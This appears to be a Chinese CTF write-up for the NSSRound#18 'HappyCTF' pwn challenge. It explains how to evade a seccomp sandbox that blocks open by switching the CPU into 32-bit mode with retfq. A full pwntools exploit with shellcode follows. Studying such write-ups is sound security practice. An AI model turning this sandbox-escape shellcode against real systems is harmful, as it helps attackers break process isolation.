[NSSRound#18 Basic]HappyCTF

最后更新于 2024-12-01 547 字 预计阅读时间: 2 分钟


ELF64 shellcode,开了沙箱ORW没有O,但是没有检测框架,允许fstat系统调用,在64位下fstat系统调用为5,与32位下open的系统调用号相同,可以切换到32位后open在进行RW。

在64位保护模式下的段寄存器用来保存段选择子和一些系统的参数,段选择子在描述符表中选中一个段描述符,段描述符中有一个“操作数大小”位(D/B位),它决定了代码段的位数。

  • 0x23 是一个选择子,通常指向一个 32 位的代码段,表示处理器运行在 32 位保护模式下。
  • 0x33 是另一个选择子,通常指向一个 64 位的代码段,表示处理器运行在 64 位模式下。

汇编中的retfq的作用相当于cs=[esp],eip=[esp+8],可以重新设置cs来实现open

因为retfq后rsp变为esp产生截断造成栈地址在地址映射中不存在,所以先mmap一个32位地址空间的区域将esp设置为该地址后进行retfq

shellcraft.mmap(0x40404040,0x1000,7,34,0,0)
shellcraft.write(1,"aaa",0x3)
shellcraft.read(0,0x40404040,0x80))
asm("mov esp,0x40404140;push 0x23;push 0x40404040;retfq"))

32位下int 80实现open

payload_32=asm("""
push 0x67616c66
push 0x2f2f2f2f
push esp
pop ebx
xor ecx,ecx
xor edx,edx
mov eax,5
int 0x80
mov ecx,eax
""",arch="i386",bits="32").ljust(0x30,b"\x90")

计算好偏移后返回64位后RW

push 0x33;push 0x40404079;retfq
shellcraft.read(3,0x40404040,0x50)
shellcraft.write(1,0x40404040,0x50)

完整exp

from pwn import *
from pwn import p64,p32,u64,u32
context(os="linux",log_level="debug")
import os
from LibcSearcher import *
filename="./HappyCTF"
elf=ELF(filename)
context.arch=elf.arch
os.system(f'chmod 777 ./{filename}')
debug=0
if debug:
    p=process(filename)
    gdb.attach(p, "b *0x4013A0 ")
else:
    p=remote("node4.anna.nssctf.cn" ,28742)
libc=ELF("./libc-2.31.so")
one=[0xe3afe,0xe3b01]
p.recvuntil(b"Now,plz you input:")
p.send(asm(shellcraft.mmap(0x40404040,0x1000,7,34,0,0)+shellcraft.write(1,"aaa",0x3)+shellcraft.read(0,0x40404040,0x80))+asm("mov esp,0x40404140;push 0x23;push 0x40404040;retfq"))
payload_32=asm("""
push 0x67616c66
push 0x2f2f2f2f
push esp
pop ebx
xor ecx,ecx
xor edx,edx
mov eax,5
int 0x80
mov ecx,eax
""",arch="i386",bits="32").ljust(0x30,b"\x90")
payload_64=asm("push 0x33;push 0x40404079;retfq"+shellcraft.read(3,0x40404040,0x50)+shellcraft.write(1,0x40404040,0x50))
p.recvuntil(b"aaa")
p.send(payload_32+payload_64)

p.interactive()


此作者没有提供个人介绍。
最后更新于 2024-12-01